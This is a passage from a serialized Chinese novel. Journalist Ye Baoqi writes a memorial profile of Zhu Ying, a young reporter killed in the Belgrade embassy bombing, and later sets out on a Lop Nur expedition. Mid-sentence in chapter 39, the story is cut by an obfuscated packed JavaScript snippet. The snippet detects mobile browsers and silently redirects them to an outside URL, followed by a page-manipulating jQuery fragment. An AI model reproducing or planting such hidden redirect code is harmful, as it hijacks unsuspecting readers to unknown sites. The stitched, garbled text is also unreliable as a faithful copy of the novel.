反响出乎意料。编辑部收到了数十封读者来信，有的分享了自己家族祭奠亲人的独特方式，有的感谢文章说出了他们无法言说的感受，有的询问如何帮助海难家属。那对老夫妇的儿子——一位在大学教民俗学的教授——甚至打来电话，说文章准确地捕捉到了民间哀悼仪式的文化内核：“那不是迷信，而是一套未被主流话语收编的创伤语言。” 最让叶葆启触动的是剪纸女人的来信。信很简短： “记者同志，我看到报纸了。您写的那艘逆流的纸船，让我哭了一整夜。但哭完之后，我忽然觉得轻了一些——好像有一部分悲伤被那张纸接住了，不再全部压在我心里。谢谢您。我正在学习剪纸，想把这门手艺传给我女儿。也许有一天，我们能剪出足够多的船，让所有回不来的人，都有一艘纸船可以乘坐。那样，他们就不冷了。” 随信寄来的还有一件剪纸作品：一艘大船，船上密密麻麻满是窗，每扇窗后都有一个微小但清晰的人影。船帆上剪出一行小字：“记忆是另一种归航。” 叶葆启将这幅剪纸装裱起来，挂在书房墙上。写作时抬头看见它，就会想起那个月光如骨的夜晚，想起海面上那些试图照亮深海的微小光芒。 他继续关注海难的后续：安全条例的修订，救援体系的完善，保险理赔的进展。但在他心中，最重要的报道已经完成——那篇关于普通人如何以脆弱却坚韧的方式，面对无法理解的失去，如何在记忆与遗忘之间开辟第三条道路：不是忘记，而是将失去编织进生命的继续。 又过了许多年，这件事情在公共记忆中逐渐淡去，叶葆启偶然重访那片海岸。防波堤已被加固，海滨建起了观光步道，老渔夫的破船不见了，礁石区立起了“危险勿近”的牌子。 但在一个偏僻的小湾，他发现了新的祭奠痕迹：不是纸钱灰烬，不是食物祭品，而是系在礁石上的彩色布条。成百上千条，每一条都写着字。他走近细看，布条上的文字各式各样： “爸爸，我考上大学了。” “老婆，我把儿子带大了，他长得像你。” “哥，老屋拆了，我在新家给你留了个房间。” “女儿，你种的枇杷树今年结果了，很甜。” 海风吹动布条，它们如一群彩色的鸟在飞舞。每一条布带都是一个仍在继续的故事，一个生者对逝者的汇报，一次穿越阴阳界线的通信。 叶葆启没有拍照，没有记录，只是站在那里，看了很久。 潮水来了又去，布条被打湿，颜色在褪去，字迹在模糊。终有一天，它们会彻底消失，像所有祭品一样，被大海回收。但写下它们的手，系上它们的时刻，那些对着大海说出的简短句子——这些瞬间已经改变了什么。就像雨滴落入大海，看似消失，实则已成为海的一部分。 他转身离开时，似乎听到背后传来细碎的声音——不是浪，不是风，而像是许多低语汇成的合唱。他没有回头，因为知道那可能是幻觉，也可能是真实。在海岸线上，在这生与死、记忆与遗忘的潮间带，所有的幻觉都包含着某种真实。 而他的工作，就是诚实地记录下这些真实，即使它们穿着幻觉的外衣。因为在这个世界上，有些悲伤太大，无法用现实的容器盛放，必须借助魔幻的器皿。而记者，就是那些器皿的烧制者与传递者——不评判形状，只保证递送。 海平线上，又一场风暴正在酝酿。但这一次，岸上的人们已经学会了如何为彼此点灯，如何在风中站稳，如何将告别变成一种持续的对话。在无尽的潮起潮落中，这或许就是人类所能做到的最接近永恒的事：记得，并且诉说。 39. 第039章 铁锚与白菊 那一年，雨水来得特别早。才过谷雨，铅灰色的云层就沉沉地压在城市上空，像一块浸透了煤油的破毡布，随时要滴下些什么。街巷里的梧桐刚抽出嫩芽，却被连日的阴雨打得抬不起头，湿漉漉的叶子贴在枝干上，像无数只溺水者求救的手。 消息是在一个午夜抵达的，像一柄烧红的铁钎，猝不及防地捅进了这座沿海城市的梦境。起初只是电话铃声在少数几户人家响起，接着是压抑的啜泣，随后哭泣声如瘟疫般蔓延开来，穿过雨幕，顺着电线杆和老墙的缝隙，渗进了千家万户的睡梦。天亮时，整座城市都醒了，却醒在一场共同的噩梦里。 报社的老印刷机在凌晨三点开始轰鸣。叶葆启站在二楼的窗前，看着楼下陆续聚集的人群。他们没有打伞，雨水顺着头发、脸颊流下，与泪水混在一起。人群是沉默的，沉默得可怕，只有雨水敲打柏油路面的声音，啪嗒，啪嗒，像谁的心跳正在慢慢冷却。 “三位记者，”总编辑的声音在身后响起，沙哑得像被砂纸打磨过，“其中一位，是咱们这座城市的姑娘。” 叶葆启转过身。总编辑手里捏着一份电传稿，手指关节因为用力而发白。他五十多岁了，鬓角已经全白，此刻那些白发在日光灯下泛着潮湿的光。 “朱颖。”总编辑吐出这个名字时，嘴唇在颤抖，“二十七岁。” 办公室墙上的老式挂钟滴答作响，秒针每走一格都格外沉重。叶葆启接过那张薄薄的纸，上面的字迹因为潮湿有些晕染：贝尔格莱德，轰炸，三名中国记者罹难。他的目光停留在“朱颖”两个字上，突然想起小时候外婆说过——名字是有重量的，有的人名字轻如柳絮，风一吹就散了；有的人名字却重如铁锚，沉下去就能定住整艘船的摇晃。 “她是咱这儿的闺女。”总编辑又说了一遍，这次用的是方言，“从小在南巷长大，吃海盐、吹海风长大的。” 叶葆启没说话。他走到自己的办公桌前，从抽屉深处摸出一包皱巴巴的香烟，抽出一支点燃。烟雾升腾起来，在日光灯下扭曲成奇怪的形状，像某种古老的象形文字，诉说着无法言说的悲伤。窗外，人群越聚越多，沉默开始发酵，变成低沉的、涌动的、危险的东西。 雨还在下。 寻找朱颖亲属的过程像在迷雾中摸索。这座城说大不大，说小不小，三百多万人在此生息，每个人的故事都如珊瑚虫般悄无声息地堆积，最终形成坚硬的、错综复杂的珊瑚礁。叶葆启和同事小骆拿着街道办提供的模糊线索，在老城区蛛网般的小巷里转了两天。 第三天下午，雨势稍歇，天空露出一小块惨淡的鱼肚白。他们终于在一处墙皮剥落的老院里，找到了朱颖的五姨。 门是虚掩着的。叶葆启抬手敲门，木质门板发出空空的回响，像是敲在什么巨大的空腔上。门开了条缝，露出一张六十多岁妇人的脸。那张脸原本应该是圆润慈祥的，此刻却被悲痛侵蚀得沟壑纵横，眼窝深陷，像两口干涸的井。 “你们是……”老人的声音细若游丝。 “报社的。”叶葆启出示证件，“关于朱颖……” “颖儿啊！”老人突然哭出声来，那哭声不是从喉咙，而是从胸腔深处某个裂开的地方涌出来的。她拉开门，整个人几乎要瘫软下去，小骆赶紧上前扶住。 院子里有棵老槐树，树冠如盖，树下积着一洼洼雨水。正屋的门楣上，不知谁已经挂上了一截黑布，被雨水打湿了，沉甸甸地垂下来。屋里光线昏暗，只有正对门的那面墙是亮的——那里摆着一张披着黑纱的照片，照片前供着三碟水果、一捧白菊。 照片上的姑娘在笑。那种笑很特别，不是冲着镜头的，而是冲着镜头之外的某个地方，眼睛微微眯起，嘴角上扬的弧度恰到好处，仿佛刚听到一个有趣的笑话，又像是看见了什么特别美好的东西。她的头发被风吹起几缕，阳光洒在脸上，形成了细小的光斑。 “这是她去年春天拍的，”五姨被搀扶着在椅子上坐下，目光黏在照片上，“在贝尔格莱德的多瑙河边。她说那儿的天特别蓝，蓝得不像真的。” 叶葆启在老人对面坐下，打开采访本。笔尖悬在纸上，迟迟落不下去。他采访过火灾、车祸、凶杀案，见过各种各样的死亡和悲伤，但这一次不同。这一次，死亡如此具体，又如此遥远；悲伤如此私人，又如此宏大。 “您能跟我们说说她吗？”小骆轻声问，递上一杯热水。 五姨捧着杯子，热气蒸腾起来，模糊了她的脸。她开始说话，起初断断续续，后来越说越流畅，仿佛打开了一个封存已久的闸门。 朱颖是吃百家饭长大的。父亲早逝，母亲体弱，她从小就在几个姨家轮流住。南巷的老房子，推开窗就能看见海——不是那种开阔的、蔚蓝的海，而是被码头、渔船、防波堤切割成一块一块的灰色海面。空气里永远弥漫着鱼腥味和盐碱味。 “但她从小就跟别的孩子不一样。”五姨说，嘴角浮现出一丝近乎骄傲的苦笑，“别的小姑娘玩跳皮筋、抓石子，她就爱看书。家里穷，买不起，她就去废品站淘，去图书馆借。有一次，她捡到半本被水泡过的《红楼梦》，纸都粘在一起了，她就一页一页小心翼翼地揭开，晾干了，用米汤糊好，当宝贝似的。” “她是什么时候想当记者的？” 五姨想了想：“初中吧。有一年台风过境，海水倒灌，南巷淹了大半。水退后，她在淤泥里捡到一本记者证，塑封的，照片已经模糊了。她揣着那本记者证揣了整整一个夏天，逢人就说：‘我长大了也要当记者，要去最远的地方，写最重要的新闻。’” 叶葆启低头记录，笔尖在纸上沙沙作响。他忽然想起自己年少时，也曾在某个黄昏，对着西沉的太阳发誓要“铁肩担道义，妙手著文章”。二十多年过去了，他的肩膀被生活磨出了老茧，手也习惯了键盘的触感。而那个在南巷捡到记者证的女孩，真的去了最远的地方，写了最重要的新闻——用生命做了最后的注脚。 “她走之前回来过一次，”五姨的声音把叶葆启拉回现实，“是去年中秋。她黑了，瘦了，但眼睛特别亮。她说贝尔格莱德的天空总能看到战斗机拉出的白线，像谁用刀子在蓝布上划出的口子。她说当地的孩子们已经习惯了警报，警报一响，不是往防空洞跑，而是先抬头看天，判断轰炸的方向。” 老人停顿了很久，久到叶葆启以为她不会再说下去了。窗外的雨又下起来，敲打着槐树叶，发出细密的、悲伤的声响。 “她临走时，抱了抱我，说：‘五姨，别担心，我会小心的。有些事总要有人去做，有些话总要有人去说。’”五姨抬起泪眼，“她身上有股味道……不是香水，是纸和墨的味道，还有……还有一种我说不上来的、像铁锈一样的味道。” 采访持续到傍晚。雨停了，西边的云层裂开一道缝，夕阳像熔化的金子般倾泻而下，把院子里的积水染成血红。叶葆启和小骆起身告辞时，五姨突然抓住叶葆启的手。 她的手冰凉，皮肤薄得像纸，能感觉到下面骨头的形状。 “记者同志，”她盯着叶葆启的眼睛，“你们写文章，能不能……能不能不光是说她怎么牺牲的？也说说她怎么活的。说说她小时候考试考好了会蹦着走路，说说她吃鱼会被刺卡住，说说她第一次拿到记者证时哭了半个钟头……她不只是个烈士，她还是我的颖儿，是个人，是个活生生的、有血有肉的人啊！” 叶葆启郑重地点头。那一刻，他感到肩上压下了某种无形却沉重的东西——不是责任，不是使命，而是更具体的东西：一个母亲对女儿的全部记忆，一个生命对另一个生命的全部见证。 那晚叶葆启没有回家。他留在办公室，把所有的材料铺在桌上：五姨的口述记录，公开报道的剪报，朱颖生前同事的回忆文章，还有从资料室借来的关于南联盟局势的背景材料。日光灯发出嗡嗡的电流声，窗外的城市渐渐安静下来，只有远处港口传来的轮船汽笛，低沉而悠长，像巨兽的叹息。 他试图拼凑出一个完整的朱颖。不是烈士朱颖，不是记者朱颖，而是从南巷走出来的、爱吃糖葫芦的、怕黑的、曾经为青春痘烦恼过的普通女孩。这个女孩如何在某个时刻，做出了走向远方的决定？又如何在那片战火纷飞的土地上，日复一日地工作、生活、记录？ 凌晨两点，叶葆启趴在桌上打了个盹。他做了一个梦，梦见自己走在一条陌生的街道上，两旁的建筑是欧式的，但墙面上布满弹孔。天空是奇怪的暗红色，像即将凝固的血。一个女孩背着相机从他身边跑过，短发飞扬。 “等等！”他喊。 女孩回过头——是照片上那张脸，但更生动，脸颊上有几颗雀斑，鼻尖沁着细密的汗珠。 “你要去哪儿？”他问。 “去有新闻的地方。”女孩笑着，露出一颗小小的虎牙，“你要一起来吗？” 他还想说什么，远处突然传来爆炸声，地面剧烈震动。女孩转身就跑，她的白衬衫在暗红色的天空下格外醒目，像一只逆风飞行的白鸟。叶葆启想追，双脚却像被钉在地上，动弹不得。他只能眼睁睁看着那个白色身影越来越小，最终消失在街道拐角处。 惊醒时，天已微亮。窗外的梧桐树上，早起的鸟儿开始啁啾。叶葆启揉揉发涩的眼睛，拿起笔，在稿纸顶端写下标题： 《雨中的鸢尾：一个女孩与她的时代》 他决定不写宏大的颂歌，而要写一条河流——一个人的生命如何汇入历史的洪流，又如何在那洪流中保持自己的形状与声音。他写朱颖的童年，写南巷的海风如何在夜晚拍打木窗，写她如何借着路灯的光读捡来的书；写她的青春，写她如何攒了三个月早餐钱买下第一台二手相机，如何在校报上发表第一篇报道时的兴奋；写她的选择，写她如何放弃沿海城市的安稳工作，主动请缨前往巴尔干半岛。 写到她在贝尔格莱德的生活时，叶葆启用尽了想象力。他查阅地图，找到中国大使馆的位置，想象她每天从住处到使馆的路程：经过被炸毁的剧院、弹痕累累的居民楼、排队领取救济粮的人群。想象她如何在空袭警报声中继续写稿，如何在停电的夜晚点着蜡烛冲洗照片。想象她给家人写信时，是报喜不报忧，还是偶尔也会流露一丝脆弱？ 最难写的是最后的部分。公开报道只有冷冰冰的“遇难”二字，但叶葆启知道，死亡从来不是抽象的。它发生在具体的时刻、具体的地点，伴随着具体的声音、气味、触感。那一夜的大使馆，在导弹击中之前，是什么样子？朱颖是在工作，还是在休息？她最后想到的是什么？是未完成的稿件，是远方的亲人，还是单纯对死亡的恐惧？ 叶葆启写不下去了。他起身走到窗前，点燃一支烟。城市正在醒来，早点摊升起炊烟，公交车开始运行，送奶工的车铃叮当作响。这是一个普通的清晨，和过去无数个清晨一样，和未来无数个清晨也将一样。但有些人的清晨永远停在了昨天。 他突然想起五姨说的“铁锈味”。现在他明白了，那是血与火、钢铁与硝烟混合的味道。那个从海风中长大的女孩，最终被另一种风——带着铁锈味的风——带走了。 稿子交给总编辑时，已经是第三天的黄昏。总编办公室朝西，此刻正沐浴在金色的夕阳中。总编辑戴着老花镜，一页一页仔细地读。他读得很慢，有时会停下来，摘下眼镜擦拭，但叶葆启知道，他不是在擦镜片。 读到某个段落时，总编辑的肩膀微微颤抖。那是叶葆启描写朱颖童年的一段：她如何在退潮后的滩涂上捡贝壳，如何把最美的那个藏在枕头下，每天晚上摸着它入睡。那个贝壳后来去了哪里？也许还留在南巷老屋的某个角落，也许在她离家时被随手丢弃了。但此时此刻，在文字里，它重新获得了生命，成为一个女孩纯真年代的见证。 “好。”总编辑终于读完最后一页，长长地吐出一口气，“就这样发。头版整版，配这张照片。”他指着叶葆启从五姨那里要来的生活照——朱颖站在海边，风吹起她的头发和衣角，她笑得毫无保留。 “但是，”总编辑顿了顿，“有个问题。按报社规定，讣告是要收费的，而且需要层层审批。” 叶葆启的心一沉。五姨的请求言犹在耳：“能不能登个小小的讣告？让亲戚朋友们知道追悼会的时间地点。我们不求显眼，就一个小小的角落……” “总编，”叶葆启说，“烈士家属就这么一个要求。而且，这不只是私事，也是公祭的一部分。让更多人知道，让想送她的人能去送她……” 总编辑抬手制止了他。老人站起身，走到窗前。夕阳把他的影子拉得很长，一直延伸到门口。窗外，又下雨了，雨丝在夕阳中闪闪发光，像无数根金线。 “你记得咱们报社的老规矩吗？”总编辑突然问。 叶葆启愣了愣：“您是说……” “老一辈传下来的规矩：凡是殉职的同行，报社要为他点一盏长明灯，登一份免费讣告。这规矩建国后就没怎么用了，因为和平年代，殉职的记者少。”总编辑转过身，眼神里有种叶葆启从未见过的坚硬，“但规矩就是规矩。今天，咱们为朱颖点这盏灯。” 他走到办公桌前，拿起红色电话：“排版室吗？明天头版，在稿子旁边，加一个黑框讣告。内容我马上让人送下去。对，免费的。有什么问题，让他们直接找我。” 挂断电话，总编辑对叶葆启说：“你去告诉朱颖的家人，讣告会登。还有，追悼会那天，报社派车，送所有想去的员工和读者代表一起去。费用社里出。” 叶葆启感到眼眶发热。他点点头，转身要走，又被叫住。 “小叶，”总编辑的声音柔和下来，“你这篇文章写得很好。它让我想起我年轻时，也认识一个像朱颖这样的记者。他去了朝鲜战场，再也没回来。我们给他登讣告时，主编说了一句话，我记了一辈子。” “什么话？” “他说：‘记者这支笔，平时写的是别人的生死，轮到自己时，也要写得堂堂正正。’”总编辑顿了顿，“朱颖这支笔，是堂堂正正地写完了最后一画。咱们这些还在写的人，得记住这个。” 报纸出版那天，整座城市似乎都屏住了呼吸。 清晨五点，印刷厂的第一批报纸刚刚下线，就被等在门口的报贩一抢而空。六点，街头的报亭前排起了长队。人们沉默地递钱，接过报纸，然后在第一版面前驻足。有人当场就哭了，泪水滴在报纸上，洇湿了朱颖照片的一角。 叶葆启骑车穿行在雨后的街道上。他看到公交车站，等车的人都在看报，一个中年男子看着看着，突然用报纸捂住脸，肩膀剧烈地抖动；他看到早餐店里，老板把一份报纸贴在橱窗上，用红笔圈出讣告的位置；他看到学校门口，老师把报纸举起来，对学生们说着什么，孩子们仰起的小脸上，有着与年龄不符的肃穆。 那方小小的黑框讣告，像一枚黑色的邮票，贴在城市这个巨大的信封上。它那么小，却又那么重，重得足以让所有看见它的人停下脚步，低下头颅。 报社的热线电话从早上七点就开始响个不停。小骆和几个同事接电话接到嗓子沙哑。有老人打电话来，说自己的孙女和朱颖一样大，哭得说不出话；有中年人说自己的弟弟也在国外当记者，要求转达对烈士家属的慰问；有年轻人问追悼会的时间地点，说要请假去参加；甚至有几个中学生，问能不能为朱颖种一棵纪念树。 下午，叶葆启去了南巷。五姨家的院子里挤满了人，都是街坊邻居，还有看到报道找来的陌生人。人们送来白菊、挽联、亲手折的纸鹤。五姨被围在中间，一遍又一遍地讲述着朱颖的往事。她的声音已经嘶哑，但眼神里有种奇异的光亮——那是一个普通母亲，突然发现女儿的生命以另一种方式延续时的复杂情感。 叶葆启没有打扰他们。他悄悄退出来，沿着潮湿的小巷慢慢走。巷子两边的老墙长满青苔，墙角有被雨水打落的槐花，白色的小小一朵，贴在青石板上，像一个个小小的句号。 走到巷口时，他看见一个老人坐在门槛上，手里拿着一份报纸。老人很老了，背弯得像只虾，脸上布满老年斑。他戴着老花镜，一个字一个字地读着《雨中的鸢尾》，嘴唇无声地翕动。 叶葆启在他身边停下。 “写得好啊。”老人头也不抬地说，声音沙哑得像破风箱，“这姑娘……我见过的。” “您见过朱颖？” “她小时候，常来我这儿买糖葫芦。”老人抬起浑浊的眼睛，“我做了五十年糖葫芦，见过多少孩子长大、变老、离开。这姑娘不一样，她眼睛里有火。我说：‘丫头，你这么爱看书，将来是要做大事的。’她笑，露出两个酒窝：‘爷爷，我要当记者，把世界上所有的事都写出来。’” 老人用枯瘦的手指抚摸报纸上的照片：“她真的去写了。写到了最后。” 叶葆启在他身边坐下。两人沉默了很久，只有远处传来的海浪声，一波又一波，永不停歇。 “您说，”叶葆启突然问，“她走的时候，会疼吗？” 老人看了他一眼，眼神里有种历经沧桑的慈悲：“孩子，疼不疼已经不要紧了。要紧的是，她走的是自己想走的路。这世上，多少人活一辈子，都没走过自己想走的路啊。” 夕阳西下时，叶葆启回到报社。总编辑站在窗前，背对着门。窗外，城市的灯火次第亮起，在雨后的空气中晕染开一片片暖黄的光晕。 “你看，” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904191|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总编辑没有回头，“这座城市，有三百万人。每个人都在活着，爱着，痛着，遗忘着。但今天，三百万人都在想同一个姑娘。” 叶葆启走到他身边。从四楼的窗户看出去，整座城市尽收眼底。街道如血脉延伸，灯光如细胞闪烁。这是一个庞大而精密的生命体，此刻，它为一个逝去的女儿静默。 “我常想，”总编辑轻声说，“记者到底是什么？是历史的记录者？是真相的追寻者？还是权力的监督者？今天我觉得，记者首先是人。是能感受他人之痛、理解他人之梦、铭记他人之生的人。朱颖做到了，用最彻底的方式。” 夜渐渐深了。叶葆启加班修改一篇稿件时，突然听见走廊里传来脚步声。他抬头，看见一个清洁工阿姨推着清洁车走过。阿姨在总编辑的办公室门口停下，从怀里掏出一支白菊，轻轻放在门边。 “郭总编睡了，”阿姨看见叶葆启，不好意思地笑笑，“我进不去。就放这儿吧。我女儿和朱记者一样大，也在外地工作。看了报纸，我一晚上没睡着。” 她推着车走了，脚步声在空旷的走廊里渐渐远去。叶葆启走过去，拾起那支白菊。花瓣上还带着夜露的湿润，在灯光下闪着细碎的光。 追悼会那天，天空湛蓝得不像真的，像是有人用最纯粹的颜料，一笔刷满了整个苍穹。报社安排了三辆大巴，却还是不够坐——很多读者自发前来，骑着自行车，坐着公交车，甚至步行，向着城北的殡仪馆汇聚。 叶葆启坐在第一辆大巴的靠窗位置。车缓缓行驶，他看见街道两旁，不知何时挂起了许多白花。不是官方组织的，是市民自发的。有的挂在行道树上，有的系在路灯杆上，有的贴在店铺橱窗上。那些白花在晨风中轻轻摇曳，像无数只挥别的手。 五姨坐在前排，穿着一身黑衣，手里紧紧攥着一个旧布包。叶葆启知道，里面装着朱颖小时候的作业本、获奖证书，还有那个从海边捡来的贝壳。这些微不足道的物品，此刻成为一个生命存在过的全部证据。 殡仪馆外已经人山人海。人们安静地排着队，手里拿着白菊、报纸、自制的小白花。空气中弥漫着花香和悲伤，但那悲伤不是压抑的、绝望的，而是清澈的、有力量的，像深海之下的暗流，表面平静，内里汹涌。 追悼会开始前，叶葆启在休息室见到了朱颖的母亲。那是一位瘦小的妇人，头发全白了，被两位亲属搀扶着，整个人像一片风中的枯叶。她没有哭，只是眼神空洞地望着前方，仿佛灵魂已经随着女儿去了远方。 “阿姨，”叶葆启上前，不知该说什么，“朱颖的文章……写得很好。” 母亲缓缓转过头，看着他。那双眼睛深不见底，盛满了人类语言无法承载的伤痛。她张了张嘴，终于发出声音：“她走的时候……是睡着的吗？” 叶葆启的心脏被狠狠揪紧了。所有准备好的安慰话语瞬间蒸发，他只能诚实地说：“公开报道说，是在睡梦中……” 母亲点点头，又转回头去，继续望着虚空。也许，对一位母亲来说，女儿是否在睡梦中离去，是最后一点可怜的慰藉。 追悼会现场，黑纱、白花、挽联、遗像。朱颖的笑容依然灿烂，与周遭的肃穆形成刺痛的反差。哀乐响起时，人群开始低泣。那哭声起初压抑，渐渐放开，最后汇成一片悲伤的海洋。叶葆启站在记者区，看着这一切，手中的笔重如千钧。 轮到他上前献花时，他走到朱颖的遗像前，深深鞠躬。抬起头时，他看见照片旁边摆着几件遗物：一个旧相机，一个笔记本，一支笔。相机外壳有几处磕碰的痕迹，笔记本的边角已经磨损，笔是很普通的圆珠笔，透明笔杆能看到剩下的墨水。 就是这些东西，记录了一个时代的伤口，见证了一个民族的伤痛，最终承载了一个年轻生命的全部重量。 叶葆启突然明白了总编辑说的“长明灯”。那灯不是真的灯，而是一种记忆，一种精神，一种代代相传的坚守。朱颖点亮了她那盏，现在，灯火传到了活着的人手中。 追悼会结束后，人群缓缓散去。叶葆启最后一个离开大厅。走到门口时，他回头看了一眼。夕阳从西窗斜射进来，正好照在朱颖的遗像上。那张年轻的脸笼罩在金色的光晕中，笑容温暖而永恒。 那一刻，叶葆启产生了一种奇异的错觉：他看见照片上的朱颖眨了眨眼，嘴角的弧度似乎更深了些。然后他意识到，是自己的泪水模糊了视线。 文章获奖的消息是在秋天传来的。好新闻一等奖，评语写得庄重而恳切。社里开了庆功会，总编辑把奖状颁给叶葆启时，会议室里掌声雷动。但叶葆启没有太多喜悦。他知道，这份荣誉不属于他一个人，甚至主要不属于他。它属于朱颖，属于所有在那场灾难中逝去的生命，属于一个民族在伤痛中的坚守与尊严。 会后，他带着奖状和一本装订好的报道合集，再次去了南巷。五姨的家门虚掩着，院里槐树的叶子已经开始泛黄。他敲门进去，发现屋里还有几位客人——都是看了报道找来的，有老师，有学生，有退休工人。 五姨看起来比上次精神了些。她接过奖状，用衣袖仔细擦拭玻璃框，然后把它摆在朱颖遗像的旁边。 “颖儿啊，”她对着照片说，“你看见了吗？你的故事，让这么多人都记住了。值了，值了。” 一位中学老师站起来，有些激动地说：“阿姨，我们学校把朱记者的事迹编进了校本课程。上周的主题班会，孩子们都哭了。他们说要向朱颖姐姐学习，认真读书，将来做一个对国家有用的人。” 一个女学生怯生生地问：“阿姨，朱颖姐姐小时候……真的为了买书不吃早饭吗？” 五姨笑了，眼角的皱纹像菊花般绽开：“可不是嘛。有一次饿晕在课堂上，老师把她送回家，我才知道。打那以后，我每天多给她五毛钱，专门买早饭。可她倒好，把钱攒起来，买了更多书。” 大家都笑了，笑声中有泪光闪烁。叶葆启坐在角落里，看着这一切。他突然觉得，死亡也许不是终结，而是另一种开始——当一个人的生命融入更多人的记忆，当一个人的选择启迪更多人的道路，她就获得了某种意义上的永生。 离开时，五姨送他到门口。秋天傍晚的风已经有了凉意，吹得槐树叶沙沙作响。 “叶记者，”五姨叫住他，“有件事，我一直没跟人说。” 叶葆启停下脚步。 “颖儿去贝尔格莱德前，给我写过一封信。”五姨从怀里掏出一个泛黄的信封，小心翼翼地展开信纸，“她说，她知道那儿危险，但她必须去。因为有些真相，就像海底的珍珠，必须有人潜入最深处才能采到。她说，如果……如果她回不来了，不要为她难过太久。她说，记者的一生，不是用长度衡量的，而是用深度。” 信纸在风中微微颤抖。叶葆启看见上面娟秀的字迹，还有几处水渍晕染的痕迹——不知是写信人的泪，还是读信人的泪。 “这封信，你拿去吧。”五姨把信叠好，塞进他手里，“也许有一天，你能把它写进另一篇文章里。让更多人知道，我的颖儿走的时候，是清醒的，是坚定的，是她自己选择的道路。” 叶葆启握着那封信，感觉它像炭火一样烫手。他想推辞，但看到五姨的眼神，又把话咽了回去。那眼神里有托付，有信任，有一种跨越血缘的亲情。 “我会好好保存。”他郑重地说。 走在回程的路上，暮色四合，华灯初上。街道两旁的桂花开了，香气浓郁得化不开，与海风带来的咸腥味混合在一起，形成这座城市特有的气息。叶葆启深深地呼吸，让这气息充满胸腔。 他想，朱颖再也闻不到故乡的桂花香了。但也许，在某个平行的时空里，她正走在贝尔格莱德的街头，空气中是硝烟与咖啡的混合气味。她举起相机，对准废墟中绽放的一朵野花，按下快门。那一刻，故乡与异乡，生与死，瞬间与永恒，都在取景框里达成了和解。 记者之笔，有时轻如鸿毛，记录市井百态、人间烟火；有时重如千钧，承载国族命运、时代良心。朱颖用她二十七年的生命，把这支笔的重量，刻进了历史的年轮。 而活着的人，除了继续书写，还能做什么呢？ 叶葆启加快脚步，向着报社的方向走去。今夜，还有稿子要写，还有真相要追寻，还有无数个平凡而重要的故事，等待着被看见、被记录、被记住。 路灯把他的影子拉长又缩短，缩短又拉长，仿佛在丈量着一个记者从初心到终点的全部距离。他知道，这段路没有终点。只要还有不公需要揭露，还有美好需要传扬，还有真相需要追寻，记者的笔就不会停下。 就像那海边的浪潮，一波退去，一波又起，永不停息。 40. 第40章 盐壳与星图 当通知抵达手中时，叶葆启正坐在办公室里修剪一盆茉莉。剪刀悬在半空，纸张上的字迹在九月的阳光下泛起细密的金边——“罗布泊探险采访队”。茉莉的清香突然变得尖锐，像一根针，刺穿了二十年记者生涯积攒的尘膜。 素琴那晚为他整理行装时，手指在冲锋衣的拉链上反复滑过三次才拉拢。“四十七岁，”她轻声说，声音像是从很深的井里打捞上来，“不是二十七岁。” 叶葆启没有回答。他看见窗外城市灯火如溃疡般在夜色中蔓延，想起二十年前在青海三江源采访，那个会说四百种鸟鸣声的藏族老人。老人告诉他：“最老的鹰飞得最高，因为它记得所有的风。” 选拔过程是一场奇特的仪式。三十名记者被送往怀柔一处训练基地，在模拟盐碱地上负重行走，在人工制造的四十度高温帐篷里写采访提纲。最后一个傍晚，教官让每个人对着西沉的太阳呼喊自己最想采访的人名。有人喊“爱因斯坦”，有人喊“李白”，叶葆启听见自己的声音撕裂空气：“彭加木——” 回声在山谷间三折四返，变成了“木——木——木”，像某种古老咒语的余韵。 入选名单公布那天，北京下起了罕见的黄沙雨。细沙打在窗玻璃上沙沙作响，叶葆启恍惚觉得，那是罗布泊提前送来的请柬。 出发前夜，采访队在敦煌夜市举行饯行。驴肉黄面的蒸汽与烤骆驼肉的烟火交织，仿若古丝绸之路上所有消失驿站的魂魄在此重聚。队长老陈——一个左眼下方有月牙形疤痕的蒙古族汉子——举起杏皮水：“自此向西，再无盛宴。” 叶葆启注意到角落里坐着一位沉默的摄影师。他六十上下，手指关节粗大如树根，始终抱着一台老式海鸥相机。后来才知道，这是1980年彭加木科考队唯一幸存下来的随队记者，姓吴，大家都叫他“老海鸥”。 “您见过彭加木？”叶葆启递过一支烟。 老海鸥的眼睛在烟雾后闪烁：“我见过他影子里的骆驼刺。六月十一日，他向东走，影子向西延伸，长得像楼兰古城的城墙。”他拍了拍相机，“这里面有他最后的脚印，胶卷一直没冲。等了二十一年，等光穿透罗布泊的盐壳。” 深夜，叶葆启在宾馆房间摊开地图。罗布泊的形状确实像一只耳朵——地球的耳朵，聆听所有被遗忘的回声。他用红色铅笔沿着预定路线描画，笔尖划过之处，纸张竟渗出细小的盐晶。 凌晨三点，手机震动。是女儿从美国发来的短信：“爸，昨夜梦见你变成一株胡杨，一半在火里，一半在水里。”他走到窗前，看见鸣沙山的轮廓在月光下如卧佛呼吸。 九月十五日的太阳是淬过火的铜锣。六辆改装越野车驶出敦煌时，叶葆启回头看见三危山的岩壁在晨曦中渗出血红——那是王道士发现藏经洞的地方，一个世纪前的秘密如疟疾般从此处蔓延至世界。 车队很快驶入戈壁。起初还有骆驼刺和红柳的尸体以扭曲的姿态宣示曾经的生机，渐渐地，大地露出了骨头。砾石滩铺展到天际，每一块石头都被风打磨成相似的模样，像时间结出的统一结石。 “看，海市蜃楼！”同车的年轻记者小杨指着前方。 果然，地平线上浮动着湖泊、树林，甚至还有帆影。但叶葆启知道，那些是戈壁的谎言。二十年前在新疆采访时，一个维族向导告诉他：渴死的人里有一半是追着幻影走的，另一半是停下等幻影来的。 无线电滋滋作响，传来老陈的声音：“所有人注意，我们正经过汉代‘白龙堆’雅丹区。据记载，此处常有‘鬼哭’，实则是风穿过岩穴的声音。但若听到女子唱歌，必须立即报告。” 小杨脸色发白。摄影师老赵——一个拍过昆仑山殡葬队的硬汉——咧嘴一笑：“怕什么？1986年我在阿尔金山拍雪豹，听见整座山在诵经。后来才知道，那是唐朝僧侣回鹘文经卷的震动频率，冻在了冰川里。” 